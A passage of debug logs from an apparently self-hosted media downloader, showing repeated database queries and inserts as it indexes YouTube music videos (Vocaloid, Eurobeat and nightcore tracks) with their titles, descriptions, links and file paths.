s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:05.468 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-19 09:30:06Z], 1] 22:23:05.735 [debug] QUERY OK source="media_items" db=265.5ms idle=1002.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "【初音ミク】チャンピオン【Kanaria】", "fd6a1529-08e5-423f-bf8e-3296567dd580", false, "VxjledMkwyk", 137, false, "https://www.youtube.com/watch?v=VxjledMkwyk", 19, "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", false, false, 1, [], 1, ~U[2024-07-19 09:30:06Z], ~U[2026-07-24 02:23:05Z], ~U[2026-07-24 02:23:05Z], "「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "【初音ミク】チャンピオン【Kanaria】", "VxjledMkwyk", 137, false, "https://www.youtube.com/watch?v=VxjledMkwyk", "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", false, 1, ~U[2024-07-19 09:30:06Z]] 22:23:05.736 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=482.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:05.737 [debug] QUERY OK source="media_profiles" db=0.3ms idle=268.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:05.738 [debug] QUERY OK source="media_items" db=0.5ms idle=269.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 22:23:05.739 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 308, "filename" => "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", "id" => "1J6hTtr4dYg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1J6hTtr4dYg", "playlist_index" => 20, "timestamp" => 1774623604, "title" => "Memories And Reality", "upload_date" => "20260327"} 22:23:05.739 [debug] QUERY OK source="sources" db=0.3ms idle=270.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:05.740 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:05.740 [debug] QUERY OK source="media_items" db=0.1ms idle=3.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 15:00:04Z], 1] 22:23:05.934 [debug] QUERY OK source="media_items" db=193.2ms queue=0.1ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "Memories And Reality", "15fb3425-cf46-42e4-b43b-3f75120e738a", false, "1J6hTtr4dYg", 308, false, "https://www.youtube.com/watch?v=1J6hTtr4dYg", 20, "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", false, false, 1, [], 1, ~U[2026-03-27 15:00:04Z], ~U[2026-07-24 02:23:05Z], ~U[2026-07-24 02:23:05Z], "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "Memories And Reality", "1J6hTtr4dYg", 308, false, "https://www.youtube.com/watch?v=1J6hTtr4dYg", "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", false, 1, ~U[2026-03-27 15:00:04Z]] 22:23:05.935 [debug] QUERY OK source="sources" db=0.4ms idle=196.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:05.935 [debug] QUERY OK source="media_profiles" db=0.1ms idle=195.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:05.936 [debug] QUERY OK source="media_items" db=0.3ms idle=195.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 22:23:05.936 [debug] Current batch of media processed. Will check again in 1000ms 22:23:06.936 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "duration" => 177, "filename" => "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", "id" => "Ool4gyrJpM0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ool4gyrJpM0", "playlist_index" => 21, "timestamp" => 1168196051, "title" => "Trance-Flying High", "upload_date" => "20070107"} 22:23:06.937 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:06.937 [debug] QUERY OK source="sources" db=0.0ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:06.938 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=1002.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2007-01-07 18:54:11Z], 1] 22:23:07.171 [debug] QUERY OK source="media_items" db=232.5ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "Trance-Flying High", "2f286a94-357d-4ddb-9dfa-3afed89dcdf8", false, "Ool4gyrJpM0", 177, false, "https://www.youtube.com/watch?v=Ool4gyrJpM0", 21, "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", false, false, 1, [], 1, ~U[2007-01-07 18:54:11Z], ~U[2026-07-24 02:23:06Z], ~U[2026-07-24 02:23:06Z], "Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "Trance-Flying High", "Ool4gyrJpM0", 177, false, "https://www.youtube.com/watch?v=Ool4gyrJpM0", "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", false, 1, ~U[2007-01-07 18:54:11Z]] 22:23:07.172 [debug] QUERY OK source="sources" db=0.4ms idle=916.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:07.173 [debug] QUERY OK source="media_profiles" db=0.5ms idle=235.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:07.174 [debug] QUERY OK source="media_items" db=0.5ms idle=235.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 22:23:07.174 [info] Kicking off download for media item #21 (Ool4gyrJpM0) 22:23:07.176 [debug] Current batch of media processed. Will check again in 1000ms 22:23:08.177 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "duration" => 215, "filename" => "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", "id" => "pjD-8_yVknk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pjD-8_yVknk", "playlist_index" => 22, "timestamp" => 1741869128, "title" => "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "upload_date" => "20250313"} 22:23:08.177 [debug] QUERY OK source="sources" db=0.1ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:08.177 [debug] QUERY OK source="sources" db=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:08.177 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 12:32:08Z], 1] 22:23:08.476 [debug] QUERY OK source="media_items" db=297.4ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "8f1b4433-7c3d-4ee0-98b9-4741d8e6c8e5", false, "pjD-8_yVknk", 215, false, "https://www.youtube.com/watch?v=pjD-8_yVknk", 22, "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", false, false, 1, [], 1, ~U[2025-03-13 12:32:08Z], ~U[2026-07-24 02:23:08Z], ~U[2026-07-24 02:23:08Z], "teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "pjD-8_yVknk", 215, false, "https://www.youtube.com/watch?v=pjD-8_yVknk", "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", false, 1, ~U[2025-03-13 12:32:08Z]] 22:23:08.477 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=298.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:08.478 [debug] QUERY OK source="media_profiles" db=0.5ms idle=299.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:08.488 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=309.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [22] 22:23:08.489 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "duration" => 367, 